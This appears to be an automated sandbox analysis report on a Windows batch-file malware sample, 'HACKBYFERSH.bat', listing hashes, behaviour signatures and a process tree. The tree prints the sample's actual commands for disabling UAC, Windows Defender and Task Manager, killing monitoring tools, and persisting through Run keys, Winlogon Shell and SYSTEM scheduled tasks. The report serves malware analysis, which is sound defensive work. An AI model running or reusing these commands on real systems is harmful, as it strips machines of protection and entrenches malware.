Analysis
- max time kernel
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
29/06/2026, 07:48
Static task
static1
Behavioral task
behavioral1
Sample
HACKBYFERSH.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
HACKBYFERSH.bat
Resource
win11ltsc2024-20260618-en
General
- Target HACKBYFERSH.bat
- Size 18KB
- Sample260629-jnellagv3w
- SHA256 ae806d2c03c3a3935b3d4be348d0175aaacbfcb5d3ebc26a1ab1da57c333be1f
- MD5 626cbb40576107e61252ee4ca10c4668
- SHA1 ad0620bafe75a13db61ee8a7ca864d63bfb6fde6
- SHA512 fa173257d1b9dd8b5f9f8b7db80b464fa6b6dcfba69a8a1dd6e4512c3e4eaaa6b93b7a5d137e2e90d471c01f20d32d7c0a504d70044ca234a104cb57459dd7ca
- SSDEEP 384:Gvb6FtTqs6TwRyfJAP9gZvLGsOMeTa9hmNlCLPjrEI2iQDFKfFxJZYCZ:ghzR9DLPbQyHF
- TLSH T16382AE3138259B500129AE428D76DD22B35895D7CA771E80F2DF48E42FB8BF0FE5A6D4
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Modifies WinLogon for persistence 2 TTPs 5 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Local\\Temp\\HACKBYFERSH.bat" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Local\\Temp\\HACKBYFERSH.bat" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Local\\Temp\\HACKBYFERSH.bat" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Windows\\System32\\drivers\\etc\\fersh.bat" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Windows\\System32\\drivers\\etc\\fersh.bat" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" reg.exe - UAC bypass 3 TTPs 5 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 7 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\fersh.bat cmd.exe File opened for modification C:\Windows\System32\drivers\etc\fersh.bat cmd.exe File opened for modification C:\Windows\System32\drivers\etc\fersh.bat attrib.exe File opened for modification C:\Windows\System32\drivers\etc\fersh.bat attrib.exe File opened for modification C:\Windows\System32\drivers\etc\fersh.bat attrib.exe File opened for modification C:\Windows\System32\drivers\etc\fersh.bat attrib.exe File opened for modification C:\Windows\System32\drivers\etc\fersh.bat attrib.exe - Disables service(s) 3 TTPs
- Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fersh.bat cmd.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fersh.bat cmd.exe - Adds Run key to start application 2 TTPs 10 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FershUpdate = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\HACKBYFERSH.bat\"" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FershUpdate = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\HACKBYFERSH.bat\"" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FershUpdate = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\"" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FershSecurity = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\"" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FershUpdate = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\"" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FershSecurity = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\"" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FershSecurity = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\"" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FershSecurity = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\"" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FershUpdate = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\HACKBYFERSH.bat\"" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FershSecurity = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\"" reg.exe - Drops desktop.ini file(s) 6 IoCs
description ioc Process File opened for modification C:\Users\Admin\Pictures\desktop.ini explorer.exe File opened for modification C:\Users\Public\desktop.ini explorer.exe File opened for modification C:\Users\Public\Pictures\desktop.ini explorer.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini explorer.exe File opened for modification C:\Users\Public\desktop.ini explorer.exe File opened for modification C:\Users\Public\Pictures\desktop.ini explorer.exe - Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 6500 sc.exe 6988 sc.exe 1552 sc.exe 4840 sc.exe 6408 sc.exe - Delays execution with timeout.exe 5 IoCs
pid Process 5376 timeout.exe 2744 timeout.exe 5840 timeout.exe 7032 timeout.exe 5136 timeout.exe - Kills process with taskkill 30 IoCs
pid Process 6424 taskkill.exe 5472 taskkill.exe 1532 taskkill.exe 3424 taskkill.exe 1912 taskkill.exe 7140 taskkill.exe 1044 taskkill.exe 1092 taskkill.exe 5100 taskkill.exe 6140 taskkill.exe 972 taskkill.exe 3332 taskkill.exe 248 taskkill.exe 2800 taskkill.exe 6272 taskkill.exe 4968 taskkill.exe 6440 taskkill.exe 3964 taskkill.exe 1132 taskkill.exe 4060 taskkill.exe 3044 taskkill.exe 4796 taskkill.exe 6440 taskkill.exe 4060 taskkill.exe 1864 taskkill.exe 6644 taskkill.exe 5152 taskkill.exe 264 taskkill.exe 1056 taskkill.exe 6532 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000\Software\Microsoft\Internet Explorer\Toolbar explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" explorer.exe Key created \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000\Software\Microsoft\Internet Explorer\Toolbar explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" explorer.exe - Modifies registry class 25 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000_Classes\Local Settings explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Key created \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Key created \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000_Classes\NotificationData explorer.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 7160 schtasks.exe 4064 schtasks.exe 6320 schtasks.exe 5080 schtasks.exe 4964 schtasks.exe 4964 schtasks.exe 6620 schtasks.exe 2016 schtasks.exe 888 schtasks.exe 6892 schtasks.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 7100 explorer.exe 2264 explorer.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2264 explorer.exe - Suspicious use of AdjustPrivilegeToken 30 IoCs
description pid Process Token: SeDebugPrivilege 5472 taskkill.exe Token: SeDebugPrivilege 4968 taskkill.exe Token: SeDebugPrivilege 1532 taskkill.exe Token: SeDebugPrivilege 6440 taskkill.exe Token: SeDebugPrivilege 4060 taskkill.exe Token: SeDebugPrivilege 3964 taskkill.exe Token: SeDebugPrivilege 5152 taskkill.exe Token: SeDebugPrivilege 3424 taskkill.exe Token: SeDebugPrivilege 1132 taskkill.exe Token: SeDebugPrivilege 3332 taskkill.exe Token: SeDebugPrivilege 5100 taskkill.exe Token: SeDebugPrivilege 4796 taskkill.exe Token: SeDebugPrivilege 248 taskkill.exe Token: SeDebugPrivilege 264 taskkill.exe Token: SeDebugPrivilege 6140 taskkill.exe Token: SeDebugPrivilege 972 taskkill.exe Token: SeDebugPrivilege 1912 taskkill.exe Token: SeDebugPrivilege 2800 taskkill.exe Token: SeDebugPrivilege 7140 taskkill.exe Token: SeDebugPrivilege 1044 taskkill.exe Token: SeDebugPrivilege 1092 taskkill.exe Token: SeDebugPrivilege 6272 taskkill.exe Token: SeDebugPrivilege 3044 taskkill.exe Token: SeDebugPrivilege 6424 taskkill.exe Token: SeDebugPrivilege 1056 taskkill.exe Token: SeDebugPrivilege 1864 taskkill.exe Token: SeDebugPrivilege 6532 taskkill.exe Token: SeDebugPrivilege 6644 taskkill.exe Token: SeDebugPrivilege 6440 taskkill.exe Token: SeDebugPrivilege 4060 taskkill.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 7100 explorer.exe 2264 explorer.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 7100 explorer.exe 2264 explorer.exe - Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 5920 wrote to memory of 2904 5920 cmd.exe 91 PID 5920 wrote to memory of 2916 5920 cmd.exe 92 PID 2916 wrote to memory of 2280 2916 net.exe 93 PID 5920 wrote to memory of 7016 5920 cmd.exe 94 PID 5920 wrote to memory of 3204 5920 cmd.exe 95 PID 5920 wrote to memory of 1948 5920 cmd.exe 96 PID 5920 wrote to memory of 3000 5920 cmd.exe 97 PID 5920 wrote to memory of 5276 5920 cmd.exe 98 PID 5276 wrote to memory of 5988 5276 net.exe 99 PID 5920 wrote to memory of 1552 5920 cmd.exe 100 PID 5920 wrote to memory of 5472 5920 cmd.exe 101 PID 5920 wrote to memory of 4968 5920 cmd.exe 103 PID 5920 wrote to memory of 1532 5920 cmd.exe 104 PID 5920 wrote to memory of 3616 5920 cmd.exe 105 PID 5920 wrote to memory of 2760 5920 cmd.exe 106 PID 5920 wrote to memory of 6576 5920 cmd.exe 107 PID 5920 wrote to memory of 5904 5920 cmd.exe 108 PID 5920 wrote to memory of 4964 5920 cmd.exe 109 PID 5920 wrote to memory of 6620 5920 cmd.exe 110 PID 5920 wrote to memory of 5292 5920 cmd.exe 111 PID 5920 wrote to memory of 6440 5920 cmd.exe 112 PID 5920 wrote to memory of 4060 5920 cmd.exe 114 PID 5920 wrote to memory of 3964 5920 cmd.exe 115 PID 5920 wrote to memory of 5840 5920 cmd.exe 116 PID 2312 wrote to memory of 1536 2312 net.exe 127 PID 5832 wrote to memory of 3344 5832 net.exe 130 PID 5124 wrote to memory of 1680 5124 net.exe 132 PID 5648 wrote to memory of 3884 5648 net.exe 144 PID 2192 wrote to memory of 3464 2192 net.exe 147 PID 2608 wrote to memory of 2752 2608 net.exe 150 PID 6628 wrote to memory of 1932 6628 net.exe 204 PID 3092 wrote to memory of 2900 3092 net.exe 211 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 5 IoCs
pid Process 1556 attrib.exe 7132 attrib.exe 6556 attrib.exe 3616 attrib.exe 2388 attrib.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat"1⤵
- Drops file in Drivers directory
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:5920 -
C:\Windows\system32\chcp.comchcp 650012⤵PID:2904
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C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:2280
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f2⤵
- UAC bypass
PID:7016
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:3204
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵PID:1948
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵PID:3000
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C:\Windows\system32\net.exenet stop WinDefend /y2⤵
- Suspicious use of WriteProcessMemory
PID:5276 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y3⤵PID:5988
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C:\Windows\system32\sc.exesc config WinDefend start= disabled2⤵
- Launches sc.exe
PID:1552
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C:\Windows\system32\taskkill.exetaskkill /f /im taskmgr.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5472
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C:\Windows\system32\taskkill.exetaskkill /f /im procexp.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4968
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C:\Windows\system32\taskkill.exetaskkill /f /im procexp64.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1532
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:3616
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f2⤵
- Adds Run key to start application
PID:2760
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat\"" /f2⤵
- Adds Run key to start application
PID:6576
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /f2⤵
- Modifies WinLogon for persistence
PID:5904
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C:\Windows\system32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4964
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C:\Windows\system32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onstart /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:6620
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C:\Windows\system32\cmd.execmd /c ":loop2⤵PID:5292
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C:\Windows\system32\taskkill.exetaskkill /f /im taskmgr.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6440
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C:\Windows\system32\taskkill.exetaskkill /f /im procexp.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4060
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C:\Windows\system32\taskkill.exetaskkill /f /im procexp64.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3964
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak2⤵
- Delays execution with timeout.exe
PID:5840
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C:\Windows\System32\chcp.comchcp 650011⤵PID:5948
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C:\Windows\System32\chcp.comchcp 650011⤵PID:3064
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C:\Windows\explorer.exeexplorer.exe ,C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat1⤵PID:5964
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C:\Windows\System32\chcp.comchcp 650011⤵PID:5984
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:7100
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C:\Windows\System32\net.exenet session1⤵
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session2⤵PID:1536
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C:\Windows\System32\net.exenet session1⤵
- Suspicious use of WriteProcessMemory
PID:5832 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session2⤵PID:3344
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C:\Windows\System32\net.exenet session1⤵
- Suspicious use of WriteProcessMemory
PID:5124 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session2⤵PID:1680
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f1⤵
- UAC bypass
PID:2740
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f1⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:4216
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f1⤵
- UAC bypass
PID:4656
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f1⤵
- UAC bypass
PID:4140
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f1⤵PID:4488
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f1⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:5224
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f1⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:6368
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C:\Windows\System32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f1⤵PID:5112
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f1⤵PID:3128
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f1⤵PID:4456
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C:\Windows\System32\net.exenet stop WinDefend /y1⤵
- Suspicious use of WriteProcessMemory
PID:5648 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y2⤵PID:3884
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C:\Windows\System32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f1⤵PID:6372
-
C:\Windows\System32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f1⤵PID:6792
-
C:\Windows\System32\net.exenet stop WinDefend /y1⤵
- Suspicious use of WriteProcessMemory
PID:2192 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y2⤵PID:3464
-
-
C:\Windows\System32\net.exenet stop WinDefend /y1⤵
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y2⤵PID:2752
-
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C:\Windows\System32\sc.exesc config WinDefend start= disabled1⤵
- Launches sc.exe
PID:4840
-
C:\Windows\System32\taskkill.exetaskkill /f /im taskmgr.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5152
-
C:\Windows\System32\sc.exesc config WinDefend start= disabled1⤵
- Launches sc.exe
PID:6408
-
C:\Windows\System32\sc.exesc config WinDefend start= disabled1⤵
- Launches sc.exe
PID:6500
-
C:\Windows\System32\taskkill.exetaskkill /f /im taskmgr.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3424
-
C:\Windows\System32\taskkill.exetaskkill /f /im taskmgr.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1132
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C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3332
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5100
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C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4796
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp64.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:248
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C:\Windows\System32\taskkill.exetaskkill /f /im procexp64.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:264
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp64.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6140
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"1⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:1556
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"1⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:2388
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f1⤵
- Adds Run key to start application
PID:7156
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f1⤵
- Adds Run key to start application
PID:1808
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat\"" /f1⤵
- Adds Run key to start application
PID:684
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat\"" /f1⤵
- Adds Run key to start application
PID:1644
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"1⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:7132
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /f1⤵
- Modifies WinLogon for persistence
PID:6432
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /f1⤵
- Modifies WinLogon for persistence
PID:6416
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C:\Windows\System32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onlogon /ru "SYSTEM" /f1⤵
- Scheduled Task/Job: Scheduled Task
PID:7160
-
C:\Windows\System32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onlogon /ru "SYSTEM" /f1⤵
- Scheduled Task/Job: Scheduled Task
PID:4064
-
